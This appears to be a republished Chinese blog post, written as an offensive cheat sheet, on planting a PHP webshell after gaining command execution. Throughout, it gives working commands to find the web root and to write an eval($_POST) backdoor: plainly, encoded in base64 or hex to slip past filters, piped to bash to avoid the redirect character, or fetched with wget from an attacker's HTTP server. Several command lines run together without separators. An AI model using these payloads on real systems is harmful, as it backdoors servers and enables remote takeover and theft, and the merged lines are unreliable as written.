天天看點

指令執行寫webshell總結

尋找web路徑

寫webshell當然要寫在web路徑,第一步要做的就是快速尋找web路徑

1.檔案查找法

一般web路徑一定會有index.html\php\jsp\asp,login.xxx檔案。可以根據已知頁面檔案名全局搜尋

linux:find / -name index.phpfind / -name index.*windows:for /r d:/ %i in (index.html) do @echo %ifor /r d:/ %i in (index.*) do @echo %i      

2.源碼查找法

也可以選擇打開目前已知web頁面的f12檢視源碼,尋找一段特征足夠明顯的源碼進行查找

linux:find / -name "*.*" | xargs grep "PHP installed properly"find /var/www/ -name "*.php" | xargs grep "doServerTest()"
windows:findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.htmlfindstr /s/i/n /d:C:\windows\ /c:"success" *.*      

3.history等

通過linux曆史指令查找web相關的服務啟動指令

history | grep nginxhistory | grep tomcathistory | grep http      

寫入webshell

确認尋找到的路徑有寫入權限之後,就可以開始寫webshell了

1.echo直接寫入

echo '<?php eval($_POST[1]); ?>' > 1.php      

直接寫入webshell一般不會成功,因為webshell中使用的某些關鍵符号可能被轉碼或屏蔽

2.base64寫入

echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php      

使用base64是比較通用的方法,完美去除了webshell本身的特殊字元

3.繞過重定向符

echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash      
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh      

重定向符>不可用時,我們可以将1或2中的整體指令base64編碼,然後解碼後通過bash或sh執行

其他字元繞過方式,如空格對應${IFS}等,可參考指令注入的繞過方式 

http://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/

4.遠端下載下傳webshell

遠端伺服器放置webshell,開啟httppython -m http.server
目标機器執行wget http://xx.xx.xxx.xx:8000/xxx.php      

可出網且有wget的情況下可采用此方式

5.hex寫入

hex寫入與base64寫入相似,在 

https://www.107000.com/T-Hex/

将webshell編碼成hex,使用xxd指令還原

或在使用前将webshell使用xxd生成hex資料

echo '<?php eval($_POST[1]); ?>' |xxd -ps      

然後指令注入執行

echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php